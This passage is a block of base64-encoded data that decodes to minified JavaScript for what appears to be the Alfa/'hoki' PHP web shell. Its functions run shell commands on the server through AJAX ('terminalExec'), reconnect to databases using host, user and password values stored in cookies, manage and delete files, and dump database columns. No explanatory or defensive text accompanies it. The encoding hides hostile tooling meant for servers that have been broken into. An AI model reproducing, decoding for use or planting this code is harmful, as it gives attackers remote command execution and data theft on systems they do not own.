idXRlKCJ0ZXJtX2lkIik7cmV0dXJuIGU9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNtZC1oaXN0b3J5LWljb24iKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIi
xkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikuc3R5bGUub3BhY2l0eT0iMCIsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKSwhMX12YXIgaT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpLGw9KGE9ZS5nZXRBdHRya
WJ1dGUoInRlcm1faWQiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY21kLWhpc3RvcnktaG9sZGVyIikpOzA9PWkubGVuZ3RofHwib2ZmIj09aT8obC5zdHlsZS52aXNpYmlsaXR5PSJ2aXNpYmxlIixsLnN0eWxlLm9wYWNpdHk9IjEiLGUuc2V0
QXR0cmlidXRlKCJtb2RlIiwib24iKSk6KGwuc3R5bGUudmlzaWJpbGl0eT0iaGlkZGVuIixsLnN0eWxlLm9wYWNpdHk9IjAiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib2ZmIikpfWZ1bmN0aW9uIGdlRXZhbEFjZVZhbHVlKGUpe3ZhciB0PWUucXV
lcnlTZWxlY3RvcigiLnBocC1ldmFscy1hY2UiKS5nZXRBdHRyaWJ1dGUoImlkIik7cmV0dXJuIGhva2lfYWNlX2VkaXRvcnMuZXZhbFt0XS5nZXRWYWx1ZSgpfWZ1bmN0aW9uIGhva2lPcGVuQXJjaGl2ZShlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZS
gicGF0aCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImZuYW1lIiksaT1lLmdldEF0dHJpYnV0ZSgiYmFzZV9pZCIpO2lmKCIuLiI9PWEmJiJwaGFyOi8vIiE9dC5zdWJzdHIoMCw3KSlyZXR1cm4hMTt2YXIgbD0iYT0iK2hva2liNjQoIm9wZW5fYXJjaGl2Z
V9kaXIiKSsiJmM9Iitob2tpYjY0KGNfKSsiJmhva2kxPSIraG9raWI2NCh0KSsiJmhva2kyPSIraG9raWI2NChpKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIik7X0FqYXgoZC5VUkwsbCxmdW5jdGlvbihlKXtpZigiMCIhPWUpeyQoImFyY2hpdmVf
YmFzZV8iK2kpLmlubmVySFRNTD1lO3ZhciBhPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX25hbWUiKSxsPSQoImFyY2hpdmVfZGlyXyIraSkuZ2V0QXR0cmlidXRlKCJhcmNoaXZlX2Z1bGwiKSxyPSIiLG89IiI7aWY
oMCE9KHQ9dC5zcGxpdChhKVsxXSkubGVuZ3RoKXt2YXIgbj0odD10LnNwbGl0KCIvIikpLmxlbmd0aC0xO2Zvcih2YXIgcyBpbiAwPT10W25dLmxlbmd0aCYmdC5zcGxpY2UobiwxKSx0KTAhPXQubGVuZ3RoJiYobys9dFtzXSsiLyIscis9JzxhIG
Jhc2VfaWQ9IicraSsnIiBmbmFtZT0iJyt0W3NdKyciIHBhdGg9IicrbCtvKyciIG9uY2xpY2s9Imhva2lPcGVuQXJjaGl2ZSh0aGlzKTsiPicrdFtzXSsiLzwvYT4iKX1kLnF1ZXJ5U2VsZWN0b3IoIiNhcmNoaXZlX2Rpcl8iK2krIiAuYXJjaGl2Z
V9wd2RfaG9sZGVyIikuaW5uZXJIVE1MPXJ9fSwhMSwib3Blbl9hcmNoaXZlX2RpciIpfWZ1bmN0aW9uIGhva2lEZWxldGVDb25uZWN0VG9EYihlKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYmhfIitlKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UucmVt
b3ZlKCl9KSxob2tpQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoZSl9ZnVuY3Rpb24gaG9raUNvbm5lY3RUb0RiKGUsdCl7dmFyIGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiaG9raV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGN
oKGUpe312YXIgaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiBkaXYuc2YiKTtpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWU9YVtlXS5ob3N0LGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfbG9naW5dIi
kudmFsdWU9YVtlXS51c2VyLGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfcGFzc10iKS52YWx1ZT1hW2VdLnBhc3MsKGkucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKT9pLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hb
WU9c3FsX2Jhc2VdIik6aS5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT1zcWxfYmFzZV0iKSkudmFsdWU9YVtlXS5kYixpLnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2NvdW50XSIpLmNoZWNrZWQ9ITAsZC5xdWVyeVNlbGVjdG9yKCIj
Iit0KyIgZGl2LnNmIC5kYi1jb25uZWN0LWJ0biIpLmNsaWNrKCl9ZnVuY3Rpb24gaG9raVNob3dDb25uZWN0aW9uSGlzdG9yeShlKXt2YXIgdD17fSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTtpZih
yb3dzPSc8dGFibGUgY2xhc3M9ImNvbm5lY3Rpb24taGlzdC10YWJsZSI+PHRyPjx0aD4qPC90aD48dGg+SG9zdDwvdGg+PHRoPlVzZXI8L3RoPjx0aD5QYXNzPC90aD48dGg+RGF0YWJhc2U8L3RoPjx0aD5Db25uZWN0PC90aD48dGg+RGVsZXRlPC
90aD48L3RyPicsIm9uIj09aSl7ZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvZmYiKTt0cnl7dD1KU09OLnBhcnNlKGF0b2IoZ2V0Q29va2llKCJob2tpX2Nvbm5lY3Rpb25faGlzdCIpKSl9Y2F0Y2goZSl7fXZhciBsLHI9MTtmb3IobCBpbiB0KXt2Y
XIgbz10W2xdLnVzZXIrIl8iK3RbbF0uZGI7cm93cys9Jzx0ciBjbGFzcz0iZGJoXycrbysnIj48dGg+JytyKyI8L3RoPjx0aD4iK3RbbF0uaG9zdCsiPC90aD48dGg+Iit0W2xdLnVzZXIrIjwvdGg+PHRoPiIrdFtsXS5wYXNzKyI8L3RoPjx0aD4i
K3RbbF0uZGIrJzwvdGg+PHRoPjxidXR0b24gc3R5bGU9Im1hcmdpbjogdW5zZXQ7IiBjbGFzcz0iY29ubmVjdGlvbi1oaXMtYnRuIiBvbmNsaWNrPVwnaG9raUNvbm5lY3RUb0RiKCInK28rJyIsIicrYSsnIik7XCc+Q29ubmVjdDwvYnV0dG9uPjw
vdGg+PHRoIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48YnV0dG9uIHN0eWxlPSJtYXJnaW46IHVuc2V0OyIgY2xhc3M9ImNvbm5lY3Rpb24taGlzLWJ0biBjb25uZWN0aW9uLWRlbGV0ZSIgb25jbGljaz1cJ2hva2lEZWxldGVDb25uZWN0VG
9EYigiJytvKyJcIik7Jz5YPC9idXR0b24+PC90aD48L3RyPiIscisrfXJvd3MrPSI8L3RhYmxlIn1lbHNlIGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib24iKSxyb3dzPSIiO2QucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jb25uZWN0aW9uX2hpc3Rvc
nlfaG9sZGVyIikuaW5uZXJIVE1MPXJvd3N9ZnVuY3Rpb24gaG9raUNvbm5lY3Rpb25IaXN0b3J5VXBkYXRlKGUpe3ZhciB0LGE9e307dHJ5e2E9SlNPTi5wYXJzZShhdG9iKGdldENvb2tpZSgiaG9raV9jb25uZWN0aW9uX2hpc3QiKSkpfWNhdGNo
KGUpe31mb3IodCBpbiBteXNxbF9jYWNoZSkwIT1teXNxbF9jYWNoZVt0XS5kYi5sZW5ndGgmJihhW215c3FsX2NhY2hlW3RdLnVzZXIrIl8iK215c3FsX2NhY2hlW3RdLmRiXT1teXNxbF9jYWNoZVt0XSk7dm9pZCAwIT09ZSYmZGVsZXRlIGFbZV0
sc2V0Q29va2llKCJob2tpX2Nvbm5lY3Rpb25faGlzdCIsYnRvYShKU09OLnN0cmluZ2lmeShhKSksMjAxMil9ZnVuY3Rpb24gaG9raUV4ZWNUZXJtaW5hbChlLHQpe3ZhciBhPSIiO2lmKDA9PShhPXZvaWQgMCE9PXQ/ImNkICIrY186ZS5jLnZhbH
VlKS5sZW5ndGgpcmV0dXJuITE7ImwiPT1hP2E9ImxzIC10cmggLS1jb2xvciI6ImxsIj09YSYmKGE9ImxzIC1sdHJoIC0tY29sb3IiKTt2YXIgaT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2hva2lsb2FkZXIoaSwiYmxvY2siKSxjbG9zZUhpc
3RvcnlDbWQoImZyZWUiLGUpO3ZhciBsPSIiOyJGT1JNIj09ZS50YWdOYW1lJiYobD1lLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtY3VycmVudC1kaXIiKS5pbm5lckhUTUwpLDA9PShsPWwudHJpbSgpKS5sZW5ndGgmJihsPWNfKTt2YXIg
cj0iYT0iK2hva2liNjQoInRlcm1pbmFsRXhlYyIpKyImYz0iK2hva2liNjQobCkrIiZob2tpMT0iK2hva2liNjQoYSkrIiZhamF4PSIraG9raWI2NCgidHJ1ZSIpO2lmKF9BamF4KGQuVVJMLHIsZnVuY3Rpb24oZSx0KXtob2tpbG9hZGVyKHQsIm5
vbmUiKTt0cnl7dmFyIGE9JCgidGFiXyIraSk7bnVsbCE9YSYmKCgtMT09YS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpfHxjZ2lfaXNfbWluaW1pemVkKSYmKGEuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbm
UiKSxob2tpU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsYS5pbm5lclRleHQpKSxjZ2lfaXNfbWluaW1pemVkJiZob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKSl9Y2F0Y2goZSl7fWU9SlNPTi5wYXJzZShlK
SxkLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAucGhwLXRlcm1pbmFsLW91dHB1dCA+IHByZSIpLmlubmVySFRNTD1lLm91dHB1dCwwIT1lLnBhdGgubGVuZ3RoJiYoZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLnBocC10ZXJtaW5hbC1jdXJyZW50LWRp
ciIpLmlubmVySFRNTD1lLnBhdGgpfSwhMSxpKSx2b2lkIDA9PT10KXtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAuY21kLWhpc3RvcnktaG9sZGVyIC5jb21tYW5kcy1oaXN0b3J5IikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJhZnRlcmJlZ2luIiwiPGR
pdiBvbmNsaWNrPVwiZC5xdWVyeVNlbGVjdG9yKCcjIitpKycgLnBocC10ZXJtaW5hbC1pbnB1dFwnKS52YWx1ZSA9IHRoaXMuaW5uZXJIVE1MOyIgY2xhc3M9Imhpc3RvcnktY21kLWxpbmUiPicrYSsiPC9kaXY+Iik7dmFyIG89aG9raUdldFRlcm
1pbmFsSGlzdG9yeSgpLG49by5pbmRleE9mKGEpOy0xIT1uJiZvLnNwbGljZShuLDEpLG8ucHVzaChhKSxzZXRDb29raWUoImhva2ktdGVybWluYWwtaGlzdG9yeSIsYnRvYShKU09OLnN0cmluZ2lmeShvKSksMjAxMil9ZC5xdWVyeVNlbGVjdG9yK
CIjIitpKyIgaW5wdXQucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKX1mdW5jdGlvbiBwYWdlQ2hhbmdlZEZpbGVzTWFuKGUpe3ZhciB0PSJmaWxlc21hbl9ob2xkZXJfIitob2tpX2N1cnJlbnRfZm1faWQsYT1nZXRDb29raWUodCsiX3BhZ2Vf
bnVtYmVyIiksaT1lLmlubmVyVGV4dDtpZigiPDwiPT1pKXthPWQucXVlcnlTZWxlY3RvcigiIyIrdCsiIC5hY3RpdmUtcGFnZS1udW1iZXIiKS5pbm5lclRleHQ7aWYoISgoYT1wYXJzZUludChhKSk+MSkpcmV0dXJuITE7aT1hLTF9aWYoIj4+Ij0
9aSl7YT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QrIiAuYWN0aXZlLXBhZ2UtbnVtYmVyIikuaW5uZXJUZXh0O2E9cGFyc2VJbnQoYSk7dmFyIGw9ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgLmxhc3QtcGFnZS1udW1iZXIiKS5pbm5lckhUTUw7aWYoIS
hhKzE8PShsPXBhcnNlSW50KGwpKSkpcmV0dXJuITE7aT1hKzF9c2V0Q29va2llKHQrIl9wYWdlX251bWJlciIsaSwyMDEyKSxnKCJGaWxlc01hbiIsY18pfWZ1bmN0aW9uIGhva2lDb2xEdW1wZXJJbml0KCl7dmFyIGU9ZC5xdWVyeVNlbGVjdG9yK
CIudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmdldEF0dHJpYnV0ZSgib3B0X2lkIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UpLGE9dC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJib3giKTtmb3IoaT0wO2k8YS5sZW5ndGg7aSsrKWFbaV0uYWRk
RXZlbnRMaXN0ZW5lcigiY2xpY2siLGZ1bmN0aW9uKCl7bnVsbCE9dGhpcy5wYXJlbnRFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoIi5uZXN0ZWQiKSYmKHRoaXMucGFyZW50RWxlbWVudC5xdWVyeVNlbGVjdG9yKCIubmVzdGVkIikuY2xhc3NMaXN0LnR
vZ2dsZSgiYWN0aXZlIiksdGhpcy5jbGFzc0xpc3QudG9nZ2xlKCJjaGVjay1ib3giKSl9KTt2YXIgaTthPXQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgic3ViLWJveCIpO2ZvcihpPTA7aTxhLmxlbmd0aDtpKyspYVtpXS5zZXRBdHRyaWJ1dGUoIm
9wdF9pZCIsZSksYVtpXS5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZnVuY3Rpb24oKXt0aGlzLmNsYXNzTGlzdC50b2dnbGUoImNoZWNrLWJveCIpO3ZhciBlPXRoaXMuZ2V0QXR0cmlidXRlKCJ0YmwiKSx0PXRoaXMuZ2V0QXR0cmlidXRlKCJvc
HRfaWQiKTt0PXQucmVwbGFjZSgib3B0aW9uXyIsIiIpLGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YS5oYXNPd25Qcm9wZXJ0eSh0KXx8KGNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XT17fSksdm9pZCAwPT09Y29sX2R1bXBlcl9zZWxlY3RlZF9k
YXRhW3RdW2VdJiYoY29sX2R1bXBlcl9zZWxlY3RlZF9kYXRhW3RdW2VdPVtdKTt2YXIgYT10aGlzLmlubmVySFRNTCxpPWNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5pbmRleE9mKGEpOy0xPT1pP2NvbF9kdW1wZXJfc2VsZWN0ZWRfZGF
0YVt0XVtlXS5wdXNoKGEpOmNvbF9kdW1wZXJfc2VsZWN0ZWRfZGF0YVt0XVtlXS5zcGxpY2UoaSwxKX0pfWZ1bmN0aW9uIHNob3dTeW1saW5rUGF0aChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInJvdyIpLG
k9JCgidGRfcm93XyIrYSksbD1lLmdldEF0dHJpYnV0ZSgib3B0X3RpdGxlIikscj1lLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtpZihsPWRlY29kZVVSSUNvbXBvbmVudChyKSsiIC0+ICIrbCxudWxsIT1pKXtpLmluc2VydEFkamFjZW50SFRNTCgiY
WZ0ZXJiZWdpbiIsJzxkaXYgY2xhc3M9InN5bWxpbmtfcGF0aCIgaWQ9ImxpbmtfaWRfJythKyciPicrbCsiPC9kaXY+Iik7dmFyIG89dC5jbGllbnRYLG49dC5jbGllbnRZLTMwOyQoImxpbmtfaWRfIithKS5zdHlsZS5sZWZ0PW8rInB4IiwkKCJs
aW5rX2lkXyIrYSkuc3R5bGUudG9wPW4rInB4In19ZnVuY3Rpb24gaGlkZVN5bWxpbmtQYXRoKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKSwkKCJsaW5rX2lkXyIrZS5nZXRBdHRyaWJ1dGUoInJvdyIpKS5yZW1vdmUoKX1mdW5jdGlvbiBob2tpZ2V
0RmxhZ3MoKXtkYXRhPSJhPSIraG9raWI2NCgiZ2V0X2ZsYWdzIikrIiZjPSIraG9raWI2NChjXykrIiZhamF4PSIraG9raWI2NCgidHJ1ZSIpLF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSl7dmFyIHQ9SlNPTi5wYXJzZShlKTt0Lmhhc093bl
Byb3BlcnR5KCJzZXJ2ZXIiKSYmKGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMF0uaW5uZXJIVE1MPSc8aW1nIGRyYWdnYWJsZT0iZmFsc2UiIHRpdGxlPSInK3Quc2VydmVyLm5hbWUrJyIgc3JjPSJodHRwOi8vc29sZXZpc2lib
GUuY29tL2ltYWdlcy9mbGFncy80OC8nK3Quc2VydmVyLmNvZGUudG9Mb3dlckNhc2UoKSsnLnBuZyI+JyxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5mbGFnLWhvbGRlciIpWzBdLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLHQuaGFzT3duUHJvcGVydHko
ImNsaWVudCIpJiYoZC5xdWVyeVNlbGVjdG9yQWxsKCIuZmxhZy1ob2xkZXIiKVsxXS5pbm5lckhUTUw9JzxpbWcgZHJhZ2dhYmxlPSJmYWxzZSIgdGl0bGU9IicrdC5jbGllbnQubmFtZSsnIiBzcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1
hZ2VzL2ZsYWdzLzQ4LycrdC5jbGllbnQuY29kZS50b0xvd2VyQ2FzZSgpKycucG5nIj4nLGQucXVlcnlTZWxlY3RvckFsbCgiLmZsYWctaG9sZGVyIilbMV0uc3R5bGUuZGlzcGxheT0iaW5saW5lIil9KX1mdW5jdGlvbiBjb2xEdW1wbGVyU2VsZW
N0VHlwZShlKXt2YXIgdD1lLm9wdGlvbnNbZS5zZWxlY3RlZEluZGV4XS52YWx1ZTskKCJjb2xkdW1wZXItZGVsaW1pdGVyLWlucHV0Iikuc3R5bGUuZGlzcGxheT0iZGVsaW1pdGVyIj09dD8iaW5saW5lLWJsb2NrIjoibm9uZSJ9ZnVuY3Rpb24ga
G9raUNoZWNrVXJsSGFzaCgpe3ZhciBlPXdpbmRvdy5sb2NhdGlvbi5oYXNoLnN1YnN0cigxKSx0PWUuc3BsaXQoIiYiKS5yZWR1Y2UoZnVuY3Rpb24oZSx0KXt2YXIgYT10LnNwbGl0KCI9Iik7cmV0dXJuIGVbYVswXV09YVsxXSxlfSx7fSk7aWYo
IiIhPWUpc3dpdGNoKHQuYWN0aW9uKXtjYXNlImZpbGVtYW4iOmNhc2Uib3B0aW9ucyI6dC5wYXRoPWRlY29kZVVSSUNvbXBvbmVudCh0LnBhdGgpLGcoIkZpbGVzTWFuIix0LnBhdGgsZnVuY3Rpb24oZSl7aWYodC5oYXNPd25Qcm9wZXJ0eSgiZml
sZSIpKXt2YXIgYT0iYXV0byI7aXNBcmNoaXZlKHQuZmlsZSkmJihhPSJ2aWV3IiksZWRpdG9yKHQucGF0aCsiLyIrdC5maWxlLGEsIiIsIiIsIiIsImZpbGUiKX19KSwib3B0aW9ucyI9PXQuYWN0aW9uJiZ0Lmhhc093blByb3BlcnR5KCJvcHQiKS
YmKGhva2lfY2FuX2FkZF9vcHQ9ITAsZyh0Lm9wdCxudWxsLCIiLCIiLCIiKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9JCgibWVudV9vcHRfIit0Lm9wdCkuaW5uZXJIVE1MKSx0Lmhhc093blByb3BlcnR5KCJmaWxlI
il8fGVkaXRvckNsb3NlKCJlZGl0b3IiKSx0Lmhhc093blByb3BlcnR5KCJvcHQiKXx8ZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpO2JyZWFrO2RlZmF1bHQ6ZygiRmlsZXNNYW4iLCI8P3BocCBl
Y2hvICRHTE9CQUxTWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWVsc2UgZygiRmlsZXNNYW4iLCI8P3BocCBlY2hvICRHTE9CQUx
TWyJjd2QiXTsgPz4iKSxlZGl0b3JDbG9zZSgiZWRpdG9yIiksZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93IiksZWRpdG9yQ2xvc2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGhva2lGbW5nckNvbnRleHRSb3coKXtkLnF1ZXJ5U2VsZWN0b3JBbG
woIi5mbWFuYWdlci1yb3cgYS5tYWluX25hbWUiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuYWRkRXZlbnRMaXN0ZW5lcigiY29udGV4dG1lbnUiLGZ1bmN0aW9uKGUpe3ZhciB0PWUudGFyZ2V0LGE9IiI7aWYoIi4uIj09KGE9IkEiPT1lLnRhcmdld
C5wYXJlbnRFbGVtZW50LnRhZ05hbWU/KHQ9ZS50YXJnZXQucGFyZW50RWxlbWVudCkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpOnQuZ2V0QXR0cmlidXRlKCJmbmFtZSIpKSlyZXR1cm4hMTt2YXIgaT10LmdldEF0dHJpYnV0ZSgiaWQiKSxsPXQuZ2V0
QXR0cmlidXRlKCJwYXRoIikscj10LmdldEF0dHJpYnV0ZSgiZnR5cGUiKSxvPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmV
zcyIsImV4dHJhY3QiLCJkZWxldGUiXTtmb3IodmFyIG4gaW4iZmlsZSIhPXJ8fGlzQXJjaGl2ZShhKT9vWzNdPSJ2aWV3X2FyY2hpdmUiOm8uc3BsaWNlKDExLDEpLCJmb2xkZXIiPT1yJiYobz1bIm5ld3RhYiIsImxpbmsiLCJtb3ZlIiwiY29weS
IsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImRlbGV0ZSJdKSxob2tpU29ydE1lbnVJdGVtcyhvKSxvKXt2YXIgcz1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IitvW25dKyJdIik7c
3dpdGNoKHMuc2V0QXR0cmlidXRlKCJmaWQiLGkpLHMuc2V0QXR0cmlidXRlKCJmbmFtZSIsZGVjb2RlVVJJQ29tcG9uZW50KGEpKSxzLnNldEF0dHJpYnV0ZSgicGF0aCIsbCkscy5zZXRBdHRyaWJ1dGUoImZ0eXBlIixyKSxvW25dKXtjYXNlInZp
ZXciOmNhc2UiZWRpdCI6dmFyIGM9ImF1dG8iOyJlZGl0Ij09b1tuXSYmKGM9ImVkaXQiKSxzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiNhY3Rpb249ZmlsZW1hbiZwYXRoPSIrY18rIi8mZmlsZT0iK2EpLHMuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiw
iZWRpdG9yKCciK2ErIicsJyIrYysiJywnJywnJywnJywnZmlsZScpIik7YnJlYWs7Y2FzZSJuZXd0YWIiOnZhciB1PWE7ImZpbGUiPT1yPyh1PSImZmlsZT0iK2Escy5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2
NfKyIvIit1KSxzLnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIikscy5vbmNsaWNrPWZ1bmN0aW9uKCl7fSk6KHMuc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApIikscy5yZW1vdmVBdHRyaWJ1dGUoInRhcmdldCIpL
HMub25jbGljaz1mdW5jdGlvbigpe2hva2lGaWxlc01hbk5ld1RhYihjXyx1KX0pO2JyZWFrO2Nhc2UiZGVsZXRlIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIr
YSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKTticmVhaztjYXNlImRvd25sb2FkIjpzLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2R
vd25sb2FkJykiKTticmVhaztjYXNlInBlcm1pc3Npb24iOnRyeXt2YXIgcD1kLnF1ZXJ5U2VsZWN0b3IoIiNpZF9jaG1vZGVfIitpLnJlcGxhY2UoImlkXyIsIiIpKyIgc3BhbiIpLmlubmVySFRNTDtzLnNldEF0dHJpYnV0ZSgicGVybSIscC50cm
ltKCkpfWNhdGNoKGUpe31icmVhaztjYXNlImxpbmsiOnMuc3R5bGUuZGlzcGxheT0iYmxvY2siO3ZhciBmPSI8P3BocCBlY2hvICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07ID8+LyIsbT0oY18rIi8iK2EpLnJlcGxhY2UoL1wvXC8vZywiLyIpO
2lmKC0xIT1tLmluZGV4T2YoZikpe2Y9bS5yZXBsYWNlKGYsIiIpO3ZhciBiPWxvY2F0aW9uLm9yaWdpbisiLyIrZjtzLnNldEF0dHJpYnV0ZSgiaHJlZiIsIiIrYil9ZWxzZSBzLnN0eWxlLmRpc3BsYXk9Im5vbmUifX12YXIgeT1lLmNsaWVudFgs
Xz1lLmNsaWVudFk7aG9raVJpZ2h0Q2xpY2tNZW51KHksXyksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBob2tpRmlsZXNNYW5OZXdUYWIoZSx0LGEpe3ZhciBpPXQ7dm9pZCAwIT09YSYmKGk9aG9raUdldExhc3RGb2xkZXJOYW1lKGU
pKTt2YXIgbD1kZWNvZGVVUklDb21wb25lbnQoZSsiLyIrdCk7bD1sLnJlcGxhY2UoL1wvXC8vZywiLyIpO3ZhciByPSQoImZpbGVzbWFuX3RhYl8xIiksbz1yLmdldEF0dHJpYnV0ZSgiZm1fY291bnRlciIpO289cGFyc2VJbnQobykrMSxyLnNldE
F0dHJpYnV0ZSgiZm1fY291bnRlciIsbyksZC5xdWVyeVNlbGVjdG9yKCIjZmlsZXNtYW5fdGFic19jaGlsZCIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvbm1vdXNlb3Zlcj0iaG9raUZpbGVzbWFuVGFiU2hvd1RpdGxlK
HRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgcGF0aD0iJytsKyciIGlkPSJmaWxlc21hbl90YWJfJytvKyciIGZtX2lkPSInK28rJyIgb25jbGljaz0iZmlsZXNtYW5UYWJDb250
cm9sbGVyKHRoaXMpOyIgZm5hbWU9IicrdCsnIiBjbGFzcz0iZmlsZXNtYW5fdGFiIj48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRlcjIuc3ZnIj4gPHNwYW4gY2x
hc3M9ImZpbGVzbWFuLXRhYi1mb2xkZXItbmFtZSI+JytpKyc8L3NwYW4+IDxpbWcgZm1faWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZUZtVGFiKHRoaXMsZXZlbnQpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJbY2xvc2VdIiBzcmM9Imh0dHA6Ly9zb2
xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9kZWxldGUuc3ZnIj48L2Rpdj4nKSxkLnF1ZXJ5U2VsZWN0b3IoIi5hamF4YXJlYSIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLCc8ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiI
GZtX2lkPSInK28rJyIgaWQ9ImZpbGVzbWFuX2hvbGRlcl8nK28rJyIgY2xhc3M9ImFqYXhhcmVhIj48ZGl2IGNsYXNzPSJoZWFkZXIiPjwvZGl2PjwvZGl2PicpLGhva2lfZm1faWQ9byxnKCJGaWxlc01hbiIsbCksaG9raV9mbV9pZD0wfWZ1bmN0
